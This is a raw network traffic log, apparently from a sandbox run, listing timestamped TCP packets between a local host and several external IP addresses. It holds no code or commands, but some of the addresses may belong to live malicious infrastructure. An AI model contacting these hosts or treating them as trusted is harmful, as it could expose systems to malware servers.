Nov 24, 2024 14:24:36.355190992 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.377123117 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.377182961 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.377264023 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.377981901 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.377995014 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.378024101 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.378516912 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.378561974 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.378716946 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.380527020 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.380565882 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.380578041 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.381810904 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.381851912 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.381902933 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.383809090 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.383848906 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.383898020 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.420718908 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.420773983 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.420818090 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.421619892 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.421658993 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.461935043 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.461950064 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.462008953 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.463454962 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.463537931 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.463583946 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.464412928 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.464464903 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.464504004 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.465760946 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.465898037 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.465941906 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.467739105 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.506237030 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.506305933 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.506413937 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.507215977 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.507273912 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.507301092 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.524523973 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.524585962 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.524677038 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.549576044 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.549638987 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.549657106 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.550142050 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.550189972 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.550228119 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.552092075 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.552141905 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.552179098 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.568871975 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.568953037 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.568962097 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.592523098 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.592569113 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.592617989 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.593436956 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.593514919 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.593527079 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.595330000 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.595390081 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.595956087 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.596067905 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.596107960 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.597892046 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.597991943 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.598031044 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.634293079 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.634413004 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.634452105 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.635250092 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.635267019 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.635308981 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.636657000 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.636792898 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.636831045 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.638601065 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.638691902 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.638730049 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.676772118 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.676799059 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.676831961 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.677320004 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.677496910 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.677534103 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.679414988 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.679430962 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.679467916 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.680686951 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.680867910 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.680907011 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.682591915 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.682674885 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.682722092 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.736167908 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.736270905 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.736316919 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.736881018 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.736999989 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.737046003 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.739295959 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.739691973 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.739729881 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.739732981 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.741333008 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.741420031 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.741425037 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.751913071 CET	49807	80	192.168.2.4	185.215.113.43
Nov 24, 2024 14:24:36.752162933 CET	49832	80	192.168.2.4	185.215.113.43
Nov 24, 2024 14:24:36.768235922 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.768301010 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.768312931 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.769057989 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.769110918 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.769364119 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.769435883 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.769475937 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.771364927 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.771440983 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.771481991 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.773315907 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.773468971 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.773507118 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.787293911 CET	443	49819	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:36.787568092 CET	443	49819	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:36.787631989 CET	49819	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:36.788847923 CET	49819	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:36.788861036 CET	443	49819	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:36.804569006 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.804708958 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.804754972 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.805484056 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.805881977 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.805936098 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.805964947 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.807812929 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.807866096 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.807917118 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.808039904 CET	49833	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:36.808068991 CET	443	49833	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:36.808128119 CET	49833	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:36.808473110 CET	49833	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:36.808487892 CET	443	49833	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:36.809792995 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.809822083 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.809844971 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.811712980 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.811759949 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.847434998 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.847527981 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.847596884 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.848332882 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.848457098 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.848501921 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.850272894 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.850363016 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.850406885 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.851948023 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.852089882 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.852137089 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.853874922 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.853987932 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.854026079 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.871645927 CET	80	49832	185.215.113.43	192.168.2.4
Nov 24, 2024 14:24:36.871711016 CET	49832	80	192.168.2.4	185.215.113.43
Nov 24, 2024 14:24:36.871862888 CET	49832	80	192.168.2.4	185.215.113.43
Nov 24, 2024 14:24:36.871910095 CET	80	49807	185.215.113.43	192.168.2.4
Nov 24, 2024 14:24:36.871959925 CET	49807	80	192.168.2.4	185.215.113.43
Nov 24, 2024 14:24:36.889780045 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.889897108 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.889935970 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.890383959 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.890470028 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.890511990 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.892398119 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.892465115 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.892503023 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.893872023 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.893949032 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.893985033 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.895823002 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.895987988 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.896094084 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.897547007 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.927707911 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.927757978 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.927781105 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.969213009 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.991302967 CET	80	49832	185.215.113.43	192.168.2.4
Nov 24, 2024 14:24:36.993592978 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.993639946 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.993724108 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.994517088 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.994638920 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.994689941 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.996438026 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.996562004 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.996615887 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:36.998398066 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.998503923 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:36.998557091 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.000335932 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.000444889 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.000497103 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.002458096 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.002695084 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.002737999 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.004203081 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.004311085 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.004390001 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.006139040 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.006266117 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.006361008 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.008192062 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.008286953 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.008358002 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.010025024 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.010102987 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.010145903 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.019263983 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.019355059 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.019483089 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.020224094 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.020277977 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.020374060 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.021616936 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.021723032 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.021853924 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.023508072 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.039397955 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.039447069 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.039447069 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.081707001 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.081746101 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.081754923 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.095808029 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.095855951 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.095901966 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.096777916 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.096824884 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.096868992 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.098710060 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.098754883 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.098824024 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.100620031 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.100661039 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.119546890 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.160953999 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.161010027 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.161039114 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.161901951 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.161952972 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.161998034 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.163832903 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.163876057 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.164410114 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.164542913 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.164585114 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.166456938 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.166510105 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.166555882 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.168294907 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.168884993 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.168937922 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.168972015 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.170830011 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.170876026 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.170978069 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.172786951 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.172836065 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.172878981 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.174801111 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.174890995 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.192665100 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.192759037 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.192831993 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.193675041 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.193769932 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.193815947 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.211085081 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.211143017 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.211196899 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.232758999 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.232924938 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.232992887 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.233640909 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.234913111 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.234954119 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.234998941 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.235850096 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.235899925 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.273773909 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.273822069 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.274043083 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.275389910 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.275562048 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.275625944 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.276350021 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.276422977 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.277062893 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.277790070 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.278002024 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.278050900 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.279266119 CET	49834	443	192.168.2.4	104.21.33.116
Nov 24, 2024 14:24:37.279357910 CET	443	49834	104.21.33.116	192.168.2.4
Nov 24, 2024 14:24:37.279453039 CET	49834	443	192.168.2.4	104.21.33.116
Nov 24, 2024 14:24:37.279648066 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.280523062 CET	49834	443	192.168.2.4	104.21.33.116
Nov 24, 2024 14:24:37.280560017 CET	443	49834	104.21.33.116	192.168.2.4
Nov 24, 2024 14:24:37.311522007 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.311594963 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.311778069 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.318099022 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.318209887 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.318273067 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.319058895 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.319104910 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.319144011 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.320540905 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.320625067 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.320627928 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.322379112 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.322487116 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.352896929 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.352978945 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.353080988 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.360537052 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.360670090 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.360846043 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.361571074 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.361645937 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.361722946 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.362945080 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.363037109 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.363137960 CET	49808	80	192.168.2.4	34.116.198.130
